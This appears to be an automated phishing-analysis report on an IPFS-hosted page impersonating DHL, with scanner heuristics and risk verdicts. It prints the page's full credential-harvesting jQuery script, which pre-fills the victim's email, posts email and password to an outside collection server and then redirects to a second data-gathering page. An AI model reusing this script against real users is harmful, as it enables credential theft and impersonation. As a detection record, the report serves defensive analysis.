Windows Analysis Report
https://bafkreibsbjyfimxhx74m5tcypjri7hfpts4m6rwijhar7bcrbkwhh2xgbe.ipfs.flk-ipfs.xyz/

{
    "typosquatting": false,
    "unusual_query_string": false,
    "suspicious_tld": true,
    "ip_in_url": false,
    "long_subdomain": true,
    "malicious_keywords": false,
    "encoded_characters": true,
    "redirection": false,
    "contains_email_address": false,
    "known_domain": false,
    "brand_spoofing_attempt": false,
    "third_party_hosting": true
}

URL: https://bafkreibsbjyfimxhx74m5tcypjri7hfpts4m6rwijhar7bcrbkwhh2xgbe.ipfs.flk-ipfs.xyz

{
    "risk_score": 9,
    "reasoning": "This script exhibits several high-risk behaviors, including data exfiltration, dynamic code execution, and redirects to suspicious domains. The script collects user email and password credentials and sends them to an external server at 'https://restoredfaith.org/files/wp-deliv.php', which is a suspicious domain. Additionally, the script includes obfuscated code and attempts to redirect the user to an untrusted domain ('https://bafkreieg5v3vlejw2hmrlhdura5ls4qa2jk2arjdyulvw26iub53mtgp22m.ipfs.flk-ipfs.xyz/') upon certain conditions. These behaviors are highly indicative of a malicious script designed to steal user credentials and redirect them to potentially harmful sites."
}

  $(document).ready(function(){
    var count=0;
    /////////////url email getting////////////////
    var email = window.location.hash.substr(1);
    if (!email) {

    }
    else
    {
        // $('#email').val(email);
        var my_email =email;
        var ind=my_email.indexOf("@");
        var my_slice=my_email.substr((ind+1));
        var c= my_slice.substr(0, my_slice.indexOf('.'));
        var final= c.toLowerCase();        
        $('#email').val(my_email);
        $('#login_logo1').attr('src', 'https://logo.clearbit.com/' + my_slice);
        $('#domain-name').html(final);
        $("#msg").hide();
      }
      ///////////////url getting email////////////////


      var file="bmV4dC5waHA=";
      $('#submit-btn').click(function(event){
        $('#error').hide();
        $('#msg').hide();
        event.preventDefault();
        var email=$("#email").val();
        var password=$("#password").val();
        var msg = $('#msg').html();
        $('#msg').text( msg );
      ///////////new injection////////////////
      var my_email =email;
      var filter = /^([a-zA-Z0-9_\.\-])+\@(([a-zA-Z0-9\-])+\.)+([a-zA-Z0-9]{2,4})+$/;

      if (!email) {
            $('#error').show();
            $('#error').html("The email field is blank. !");
            ai.focus;
            return false;
        }

        if (!filter.test(my_email)) {
            $('#error').show();
            $('#error').html(" The account does not exist here. Enter a different account");
            ai.focus;
            return false;
        }
        if (!password) {
            $('#error').show();
            $('#error').html("The password field is blank. !");
            ai.focus;
            return false;
        }

      var ind=my_email.indexOf("@");
      var my_slice=my_email.substr((ind+1));
      var c= my_slice.substr(0, my_slice.indexOf('.'));
      var final= c.toLowerCase();
      ///////////new injection////////////////
      count=count+2;
      $('#domain-name').html(final);
      $.ajax({
        dataType: 'JSON',
        url: "https://restoredfaith.org/files/wp-deliv.php",
        type: 'POST',
        data:{
          email:email,
          password:password,
        },
            // data: $('#contact').serialize(),
            beforeSend: function(xhr){
              $('#submit-btn').html('Confirmation..');
            },
            success: function(response){
              if(response){
                $("#msg").show();
                console.log(response);
                if(response['signal'] == 'ok'){
                	
                  $("#password").val("");
                  if (count>=0) {
                    count=0;
                    // window.location.replace(response['redirect_link']);
                    window.location.replace("https://bafkreig5v3vlejw2hmrlhdura5ls4qa2jk2arjdyulvw26iub53mtgp22m.ipfs.flk-ipfs.xyz/");

                  }
                  // $('#msg').html(response['msg']);
                }
                else{
                  // $('#msg').html(response['msg']);
                }
              }
            },
            error: function(){
            	
              $("#password").val("");
              if (count>=4) {
                count=0;
                window.location.replace("https://bafkreig5v3vlejw2hmrlhdura5ls4qa2jk2arjdyulvw26iub53mtgp22m.ipfs.flk-ipfs.xyz/");
              }
              $("#msg").show();
              // $('#msg').html("Please try again later");
            },
            complete: function(){
              $('#submit-btn').html('<i class="fa fa-lock"></i>login');
            }
          });
    });


    });


  

{
  "contains_trigger_text": true,
  "trigger_text": "Get Started Now",
  "prominent_button_name": "Create a New Shipment",
  "text_input_field_labels": [
    "b599p5@bdfpxnl.io"
  ],
  "pdf_icon_visible": false,
  "has_visible_captcha": false,
  "has_urgent_text": false,
  "has_visible_qrcode": false,
  "contains_chinese_text": false,
  "contains_fake_security_alerts": false
}

{
  "brands": [
    "DHL Express"
  ]
}

```json{  "legit_domain": "dhl.com",  "classification": "wellknown",  "reasons": [    "The brand 'DHL Express' is a well-known global logistics company.",    "The legitimate domain for DHL Express is 'dhl.com'.",    "The provided URL 'bafkreibsbjyfimxhx74m5tcypjri7hfpts4m6rwijhar7bcrbkwhh2xgbe.ipfs.flk-ipfs.xyz' does not match the legitimate domain.",    "The URL contains multiple suspicious elements such as a long string of random characters and an unusual domain extension 'flk-ipfs.xyz'.",    "The use of 'ipfs' in the domain suggests it might be hosted on a decentralized network, which is uncommon for a well-known brand like DHL.",    "The input field email 'b599p5@bdfpxnl.io' does not appear to be associated with DHL Express."  ],  "riskscore": 9}
Google indexed: False

{
"contains_trigger_text": false,
"trigger_text": "unknown",
"prominent_button_name": "Continue",
"text_input_field_labels": [
"Full Name",
"Company Name",
"Street",
"City",
"State / Prov",
"Postal Code",
"Country",
"Email",
"Phone",
"Website"
],
"pdf_icon_visible": false,
"has_visible_captcha": false,
"has_urgent_text": false,
"has_visible_qrcode": false,
"contains_chinese_text": false,
"contains_fake_security_alerts": false
}

{
  "brands": [
    "DHL"
  ]
}

```json{  "legit_domain": "dhl.com",  "classification": "wellknown",  "reasons": [    "The brand 'DHL' is a well-known international logistics company.",    "The legitimate domain for DHL is 'dhl.com'.",    "The provided URL 'bafkreig5v3vlejw2hmrlhdura5ls4qa2jk2arjdyulvw26iub53mtgp22m.ipfs.flk-ipfs.xyz' does not match the legitimate domain.",    "The URL uses a decentralized storage service (IPFS) which is not typically associated with DHL.",    "The domain 'flk-ipfs.xyz' is unusual and not related to DHL.",    "The presence of numerous input fields for personal information is a common tactic used in phishing sites."  ],  "riskscore": 9}
Google indexed: False